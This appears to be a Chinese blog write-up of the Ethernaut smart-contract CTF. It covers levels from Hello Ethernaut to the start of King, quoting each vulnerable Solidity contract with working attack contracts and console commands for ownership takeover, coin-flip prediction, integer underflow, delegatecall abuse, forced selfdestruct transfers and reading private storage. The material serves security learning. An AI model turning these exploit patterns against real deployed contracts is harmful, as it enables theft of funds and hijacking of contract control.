尽量一周内更新完

Hello Ethernaut

熟悉操作

await contract.info()
// "You will find what you need in info1()."
await contract.info1()
// "Try info2(), but with "hello" as a parameter."
await contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
await contract.infoNum()
// 42
await contract.info42()
// "theMethodName is the name of the next method."
await contract.theMethodName()
// "The method name is method7123949."
await contract.method7123949()
// "If you know the password, submit it to authenticate()."
await contract.password()
// "ethernaut0"
await contract.authenticate('ethernaut0')

Feedback

feedback函数文档

直接转账或是调用不存在的函数时会feedback

合约源码如下

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  fallback() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

目标是成为合约的owner然后把钱取走

contributions[msg.sender] > 0 时可以通过feedback成为owner

await contract.contribute({value: 1})
await contract.sendTransaction({value: 1})
await contract.withdraw()

Fallout

直接上源码

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

要更改owner看似只能通过调用fallout函数,这题误导性极强,事实上源码里根本就不是名为Fallout的构造函数,只是名为Fal1out的普通函数罢了,可以直接调用

await contract.Fal1out()

Coin Flip

目标赢十次翻硬币游戏,合约如下

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

使用前一个块的hash作为随机数源取最高位作为硬币正反面

随机数的生成是智能合约的硬伤,链上的一切都是公开的,包括算法、变量、状态,没有合适的熵源,随机数总是能被预测

这里由于前一个块的hash是可以知晓的,我们只要赶在下一个块出块前完成查看前块hash然后猜硬币即可,这里通过部署一个合约攻击来完成预测和合约交互

把前面的合约复制下来然后通过一个address来实例化从而在合约中交互目标合约

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract Attack {
  CoinFlip fliphack;
  address instance_address = instance_address_here;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function Attack() {
    fliphack = CoinFlip(instance_address);
  }

  function predict() public view returns (bool){
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    return coinFlip == 1 ? true : false;
  }

  function hack() public {
    bool guess = predict();
    fliphack.flip(guess);
  }
}

部署完调用hack 10次使得 consecutiveWins>=10 即可提交

Telephone

成为owner,源码很简短

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
  • tx.origin 是交易的发送方
  • msg.sender 是消息的发送方

changOwner要求 tx.origin != msg.sender 即可根据传入得到参数改变owner

这里通过另一个攻击合约调用的方式来交互,则 tx.origin是用户,msg.sender是攻击合约

尝试使用构造方法

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
contract Attack {
    Telephone target;
	function Attack(address addr){
		target = Telephone(addr);
	}
    function hack() public {
        target.changeOwner(msg.sender);
    }
}

https://rinkeby.etherscan.io/tx/0x2a15b9fc50c50ed95b2647036c43f28f0523d89b666d000358b3d9d70cf1853a#statechange

hack后提交

Token

要求获得比给定20TKN更多的代币

pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

require(balances[msg.sender] - _value >= 0);存在明显的整数溢出,uint是无符号数

这里对外转出大于初始balance就会导致下溢而使得变成很大的正数字

await contract.transfer(contract.address,21)
await contract.balanceOf(player)

https://rinkeby.etherscan.io/tx/0x1b24f957f103eebe3bcc5567dbb70829f35e13955ba7ed99cdc337dab43e104d#statechange

Delegation

要求成为owner,源码如下

pragma solidity ^0.6.0;

contract Delegate {
  address public owner;
  constructor(address _owner) public {
    owner = _owner;
  }
  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {
  address public owner;
  Delegate delegate;
  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }
  fallback() external {
    (bool result, bytes memory data) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}
  • call 外部调用时,上下文是外部合约
  • delegatecall 外部调用时,上下文是调用合约

也就是说delegationcall可以执行外部合约的函数来改变调用合约的state

这里在delegation中通过delegatecall调用delegate里的pwn,更改的是delegation的owner

合约中若是delegatecall的参数可控,攻击者可以执行任意内容操控合约状态

调用合约函数通过method id,也就是data的第一块,规则是keccak256(funcion_name))取前四字节

可以通过工具获得"pwn()“的method id是0xdd365b8b

或是 https://emn178.github.io/online-tools/keccak_256.html

contract.sendTransaction({data: "0xdd365b8b"});

https://rinkeby.etherscan.io/tx/0xb0eadd2f6ee22f97f694b1d2197c159a6ce9e320118d6d4c3dfccff0b33b33d6#internal

Force

这关的要求是往一个空合约里转钱使其余额大于0

还给了给tip https://eips.ethereum.org/EIPS/eip-1193#message

pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

空合约由于没有payable方法,进来的转账都会被revert掉

但是合约自毁的转账是必须接收的(无处退回)

此外还有创建前预转账和作为挖矿收益地址也可以做到(可操作性不强

pragma solidity ^0.6.0;

contract Force {
    function Force() payable public {        
    }
    function ForceSendEther(address _addr) payable public{
        selfdestruct(_addr);
    }
}

创建完了先直接往合约地址转点eth然后调用合约的ForceSendEther触发自毁转账,收款地址为题目的实例合约地址

https://rinkeby.etherscan.io/address/0x1f818576d54f1a65029376c20a5b16f63f1030a5#internaltx

Vault

目的是使得合约中的 locked=False

pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

看到password就想到这些变量都存在公链上,直接看合约创建时的State[1]就是password了

https://rinkeby.etherscan.io/tx/0x50ae4f5ebf122aeaaee166fc127163391f6a60817f328ab2cca41748d2733e3a#statechange

>>> "\x41\x20\x76\x65\x72\x79\x20\x73\x74\x72\x6f\x6e\x67\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x3a\x29"
'A very strong secret password :)'

练习使用remix交互,发送0xec9b5b3a0x412076657279207374726f6e67207365637265742070617373776f7264203a29后 storage[0] 即 locked = 0

https://rinkeby.etherscan.io/tx/0xf893811b901609cf4cca9121adbd4690a1255512fe33ed81f10aa464ab003fe1#statechange

King

这关要求成为new King并且在回收时仍然是king

pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  fallback() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}